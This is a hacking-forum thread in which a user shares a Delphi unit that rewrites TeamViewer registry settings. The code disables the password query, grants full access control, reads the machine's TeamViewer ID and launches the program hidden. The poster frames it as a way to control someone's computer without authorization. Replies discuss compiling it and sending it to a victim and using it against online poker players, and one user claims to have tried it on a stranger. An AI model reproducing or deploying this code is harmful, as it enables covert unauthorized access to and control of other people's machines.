Thread: [TeamViewer Hack Unit](#)

CustomiZer - April 27, 2010, 7:26 am

Hello members,

thought I would share with you guys.

This is a really sample way to hack the team viewer legal software with this unit
you can down the protection and get the logins of teamviewer !
then you can control the remote guy without any autorisation : >> Only by
registry !

Code (*

--

Author : DarkCoderSc

From : France

Mail : DarkCoderSc@Unremote.org

--

Comunity : [Http://www.opensc.ws/](http://www.opensc.ws/)

--

Require Registry.pas , Classes , Sysutils to be add in uses

--

*)

unit UntTVHack;

interface

Uses Windows,Registry,Sysutils,ShellAPI;

{--}

Procedure TVUnactivePassWD;

Procedure TVFullAccess;

Function TVID : Integer;

Function TVFormatIDToString(TID:Integer) : String;

Procedure RunTVHide;

Function TVCheckVersion : String;

Function TVGetFullVersion : String;

Function GetTVPath:String;

{--}

implementation

{--}

Const TeamViewer0 = 'SOFTWARE\TeamViewer';

{--}

{Get the TV Version--}

Function TVCheckVersion : String;

var Reg : TRegistry;

Begin

```

Reg := TRegistry.Create;
{--}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0,True);
If Reg.KeyExists('Version3') Then Result := '\Version3';
If Reg.KeyExists('Version4') Then Result := '\Version4';
If Not (Reg.KeyExists('Version4')) Or (Reg.KeyExists('Version3')) Then
Result := '[Not Installed]';
{--}
Reg.CloseKey;
Reg.Free;
End;
{--}

```

```

{Get the Full TV Version--}
Function TVGetFullVersion : String;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{--}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
Result := Reg.ReadString('Version');
{--}
Reg.CloseKey;
Reg.Free;
End;
{--}

```

```

{This will unactive team viewer pass word protection O_o}
Procedure TVUnactivePassWD;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{--}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
Reg.WriteInteger('Security_PasswordStrength',3); // Disable Password query
{--}
Reg.CloseKey;
Reg.Free;
End;
{--}

```

```

{This will give the full access of dekstop and files}
Procedure TVFullAccess;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{--}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion+'\AccessControl',True);
Reg.WriteInteger('AC_Server_AccessControlType',0); // Disable Password query

```

```
{--}  
Reg.CloseKey;  
Reg.Free;  
End;  
{--}
```

{This will give the Team Viewer ID}

```
Function TVID : Integer;  
var Reg : TRegistry;  
Begin  
Reg := TRegistry.Create;  
{--}  
Reg.RootKey := HKEY_LOCAL_MACHINE;  
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);  
Result := Reg.ReadInteger('ClientID'); // Disable Password query  
{--}  
Reg.CloseKey;  
Reg.Free;  
End;  
{--}
```

{This little function will format in String- the TeamViewer ID}

```
Function TVFormatIDToString(TID:Integer) : String;  
Var bloc,bloc1,bloc2,bloc3:String;  
Begin  
bloc := IntToStr(TID);  
{Parse ID--}  
bloc1 := Copy(bloc,1,3);  
Delete(bloc,1,3);  
bloc2 := Copy(bloc,1,3);  
Delete(bloc,1,3);  
bloc3 := Copy(bloc,1,3);  
Delete(bloc,1,3);  
{--}  
Result := bloc1+' '+bloc2+' '+bloc3;  
End;  
{--}
```

{Now Launch Team Viewer Hidely}

```
Procedure RunTVHide;  
var Reg : TRegistry;  
TVPATH : String;  
Begin  
Reg := TRegistry.Create;  
{--}  
Reg.RootKey := HKEY_LOCAL_MACHINE;  
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);  
TVPath := Reg.ReadString('Security_Application_Path'); // Get TV Path  
{--}  
ShellExecute(0,'open',PWideChar(TVPATH),nil,nil,SW_HIDE);  
{--}  
Reg.CloseKey;  
Reg.Free;
```

End;

```
Function GetTVPath:String;  
var Reg : TRegistry;  
TVPATH : String;  
Begin  
Reg := TRegistry.Create;  
{--}  
Reg.RootKey := HKEY_LOCAL_MACHINE;  
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);  
TVPath := Reg.ReadString('Security_Application_Path'); // Get TV Path  
{--}  
Result := TVPath;  
{--}  
Reg.CloseKey;  
Reg.Free;  
End;  
{--}  
end.

Bosanac - April 27, 2010, 11:27 am

"Thanks For Teaching" ;) , Just compile In Delphi...

ExodusPKER - April 27, 2010, 11:28 am

nice.. i will try it out :) thx

HTCCowboy - April 27, 2010, 12:37 pm

Kudos on the share, appreciate it.

CustomiZer - April 27, 2010, 12:39 pm

100 views and 3 replies. Post away to let others view this and keep it alive ?

Uchiha Itachi - April 27, 2010, 1:21 pm

I would but you won't even explain where we put this, do we add .reg to end of a notepad with this in it? If so where do we stick it??? What do we name it??? How do we use it.

CustomiZer - April 27, 2010, 1:28 pm

(Apr 27, 2010 01:21 PM)lolzownsu Wrote: [\[CITE\]](#) I would but you won't even explain where we put this, do we add .reg to end of a notepad with this in it? If so where do we stick it??? What do we name it??? How do we use it.

If everyone knew how to use it the world would be a very unsecure place to live in. Try to lean it yourself and I assure it will be much more useful.

maybe you have little replies because you dont want to help the n00bs out or even those who do know, you wont bother you help them. but you give us this code its pointless, this thread is pointless if you dont know how to use it.

maybe if you was to rewrite it with a tutorial or even and explanation of what this even is. you will get more replies... like thx... or good one.. or well you know...

think about it.. ???

CustomiZer - April 29, 2010, 4:07 pm

Nah..I'm fine with it. Its a code in Delphi Compil it yourself. That is all I can say.

Wind - April 29, 2010, 4:09 pm

Fuck this man, I don't want people hacking my teamviewer. Why would you post this? ?

CustomiZer - April 29, 2010, 4:13 pm

(Apr 29, 2010 04:09 PM)Wind Wrote: [\[CITE\]](#) Fuck this man, I don't want people hacking my teamviewer. Why would you post this? ?

Yay Don't worry. Half of the n00bs won't understand what it is or what to do with it. ?

cc77 - April 29, 2010, 4:18 pm

Looks interesting , thanks for sharing :)

hacphongthan - April 29, 2010, 4:43 pm

Thank you. This code are helpful

CustomiZer - April 29, 2010, 4:44 pm

No problem. Enjoy Guys. ?

Once Timeless - April 29, 2010, 6:24 pm

Sounds interesting pretty nice.

??????? - April 29, 2010, 6:29 pm

Not bad, although I don't plan on using this it may be helpful to other users,

ch4x0r - April 30, 2010, 1:02 pm

ok so answer me this i tiemview alot with people playing online poker some for big cash so your telling me this would help me if i wanted to be a crook right? i dont know what it is but just give me that hint and i will figure it out.

CustomiZer - April 30, 2010, 1:04 pm

(Apr 30, 2010 01:02 PM)ch4x0r Wrote: [\[CITE\]](#) ok so answer me this i tiemview alot with people playing online poker some for big cash so your telling me this would help me if i wanted to be a crook right? i dont know what it is but just give me that hint and i will figure it out.
Don't ask me stuff if it involves illegal money ?

w1ck3d s1n - April 30, 2010, 1:11 pm

Well you are on a hacking website what do you expect ? lol just sayin

Imperialz! - April 30, 2010, 1:16 pm

lol please add a tut to this :D:D

CustomiZer - May 8, 2010, 3:15 am

Bump for those who need ?

-mothered- - May 8, 2010, 5:04 am

Although I personally won't be utilizing this, It does seem like It will do the job quite well.
Nice contribution mate :)

Tarik_95 - May 8, 2010, 5:08 am

Thanks alot for this cyber :)

1000 Posts :D

Krueger - May 8, 2010, 5:09 am

Thanks ! i will take a look at it :)

Unknown Australian - May 8, 2010, 4:41 pm

Seems like a nice find.
Will try it when I have time

Elite Hacker 69 - May 12, 2010, 2:52 pm

wait, so if I use this code then I can just auto-connect to someone without pass? SO it's like voiding a password basically a rat o.o

ASMAteMe - May 12, 2010, 5:47 pm

Im sure they can see the incoming request =\ Nice either way! I don't even use TV =P

Nihilicity - May 12, 2010, 5:52 pm

how is this even useful?
nobody leaves their teamview up, and if you use this to remote control without their permission they can just turn off their computer, it terminates the connection and you got nowhere.
pointless IMO

Hack_Hack - May 13, 2010, 9:39 am

Thank you for this code , i tried it but still TV asking for password when you connecting ?

UDK. - June 8, 2010, 6:09 pm

Maybe help a ub3r out with it? it would be great if you could....

Flamingo - June 8, 2010, 7:03 pm

I like when people post things that no one understands except the real coders/hackers. Thanks a

bunch for this!

Oreos - June 8, 2010, 9:10 pm

why would anybody pm you if it says what it does RIGHT there.? some people just dont feel like reading, huh.?

Legit Kid [™] - June 8, 2010, 11:14 pm

very useful thanks for the share man.

CustomiZer - June 9, 2010, 3:14 am

(Jun 8, 2010 07:03 PM)IpodOnTheRun Wrote: [\[CITE\]](#) I like when people post things that no one understands except the real coders/hackers. Thanks a bunch for this!

Exactly the point. Those who don't understand shouldn't even bother trying to. ?

S!rk0 - June 9, 2010, 7:30 am

I have the source translated to VB.NET by Callo :D

crazy_shane - June 9, 2010, 8:40 am

Pointless peace of crap i think they have to have team-view up and have to accept i guess i wont waist anytime trying it

CustomiZer - June 9, 2010, 9:40 am

(Jun 9, 2010 08:40 AM)crazy_shane Wrote: [\[CITE\]](#) Pointless peace of crap i think they have to have team-view up and have to accept i guess

i wont waist anytime trying it

You retarded...this is for access without the other user accepting it.

Vipermakd - June 9, 2010, 9:41 am

Thanks dude.. Kudos for the awesome post

Dyegunswin - June 9, 2010, 11:25 pm

Thanks for the share man :)

Gonna try it out shortly

_ [THUNDER] _ - June 10, 2010, 12:13 am

let me guess , copy/paste the code in delphi then test ---> compile ---> send to the victim. ???

CustomiZer - June 10, 2010, 3:43 pm

(Jun 10, 2010 12:13 AM)_ [THUNDER] _ Wrote: [\[CITE\]](#) let me guess , copy/paste the code in delphi then test ---> compile ---> send to the victim. ???

Why not try instead of guessng. ?

Trial and error may help hit bull's eye. ?

Ruinedsaint - January 2, 2011, 10:02 am

(Apr 29, 2010 04:09 PM)Wind Wrote: [\[CITE\]](#) Fuck this man, I don't want people hacking my teamviewer. Why would you post this? ?Regardless, he copied and pasted it so basically it was posted somewhere else to begin with so no fret.

James Wilson M.D - January 2, 2011, 10:51 am

Hah just tried it on some guy from GarrysmoD.

Nice program and it works.

CryptoMatic - January 9, 2011, 8:34 am

well it's a nice hack, but pretty useless, since the victim can see everything you are doing..like moving his mouse..

Th? Jok3?™ - January 9, 2011, 9:09 am

very useful thanks for the share man.

Z3R0-J0K3R - January 9, 2011, 10:56 am

(Apr 29, 2010 04:09 PM)Wind Wrote: [\[CITE\]](#) Fuck this man, I don't want people hacking my teamviewer. Why would you post this? ?

The MammoTh - January 9, 2011, 11:46 am

Looks pretty good, nice mate.

CustomiZer - January 21, 2011, 12:22 am

Glad you guys liked it and found it useful. ?

puchu1097 - November 23, 2011, 6:17 pm

LET ME TRY IT...

Thank you very much.. :)

Jimmie - November 24, 2011, 2:46 am

just uninstalled teamviewer... why would some post this shit.

Lulzamac - November 24, 2011, 8:10 am

I have no clue what this is. but is it like for bat file? for team viewer? so they cant kick you off?

I have no use for this but i would like to know what it does.
